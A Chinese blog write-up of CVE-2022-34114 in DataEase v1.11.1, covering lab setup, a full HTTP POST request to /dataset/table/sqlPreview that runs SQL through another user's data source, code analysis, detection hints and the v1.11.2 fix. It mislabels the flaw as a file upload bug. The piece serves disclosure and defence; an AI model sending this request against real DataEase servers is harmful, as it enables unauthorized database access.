DataEase SQL注入漏洞 (CVE-2022-34114)

DataEase SQL注入漏洞 (CVE-2022-34114)

*一、漏洞概述 **

*1.1 漏洞简介*

·漏洞名称:DataEase SQL注入漏洞

·漏洞编号: CVE-2022-34114

·漏洞类型:文件上传漏洞

·漏洞威胁等级:高危

·影响范围:DataEase v1.11.1

·利用条件:DataEase v1.11.1

*1.2 组件描述*

DataEase是一个开源的数据可视化分析工具。用于帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。

*1.3 漏洞描述*

DataEase v1.11.1 存在SQL注入漏洞,该漏洞源于普通权限用户可调用 /dataset/table/sqlPreview 接口。

*二、漏洞复现*

*2.1 应用协议*

http

*2.2 环境搭建*

1.一键部署

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-weuq4r63-1689905396151)(image-20230711172234689.png)]

2.访问80端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-57pbCa6D-1689905396152)(360截图17001019104110139.png)]

*2.3 漏洞复现 **

普通权限用户可调用 /dataset/table/sqlPreview 接口。实现过程中主要需要两个参数:DataSourceId和 sql,dataSourceId可通过查看数据源获取。

该漏洞未对Authorization部分进行校验,导致管理员拥有的特殊权限,普通用户可以利用获取管理员的数据源dataSourceId,写入sql数据集,从而产生用户越权的sql注入攻击。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bABSRbZN-1689905396152)(image-20230712164526371.png)]

payload如下:

POST /dataset/table/sqlPreview HTTP/1.1
Host: 192.168.91.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2ODkwNjYyMjUsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.cx778CACi6pswybKV32bWfvTH5W6Z2XTq-61TIa81BM;
LINK-PWD-TOKEN: null
Content-Length: 97
Connection: close

{“dataSourceId”:“76026997-94f9-4a35-96ca-151084638969”,“info”:“{“sql”:“select version()”}”}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jmYvUn3C-1689905396153)(360截图18430630678884.png)]

*三、漏洞分析*

*3.1 技术背景*

\

*3.2 代码分析*

采用MyBatis框架,采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处存在SQL注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yPux64FA-1689905396153)(image-20230712112145891.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KpGCnxp7-1689905396153)(image-20230712112305302.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PYHXR5Mv-1689905396154)(image-20230712112314169.png)]

*3.3 流量分析 **

调用 /dataset/table/sqlPreview 接口,Authorization部分非admin,同时dataSourceId后为管理员用户的数据源,跟随恶意payload,响应体中出现版本信息等敏感信息[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YxcW3Q7M-1689905396154)(image-20230712100017293.png)]

*3.4 绕过方式*

\

*四、漏洞检测*

*4.1 组件版本自检*

以下版本受该漏洞影响: v1.11.1

目前最高版本:V1.18.8

*4.2 研判建议 **

将Authorization字段后的数据base64解码,观察不应该含有admin(admin为管理员正常数据库业务),观察请求体中是否包含恶意payload,同时dataSourceId后为管理员用户的数据源,观察相应包是否做出响应

*五、防范建议*

*5.1 官方修复建议*

v1.11.2修复该漏洞

https://github.com/dataease/dataease/releases/tag/v1.11.2

将Authorization部分做了限制,若不是admin,则无权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6FB4PygC-1689905396154)(image-20230712164243287.png)]

*5.2 临时修复建议*

写入关键字过滤规则,黑名单等

六、*参考链接*

源码下载url:https://github.com/dataease/dataease

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tkite

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值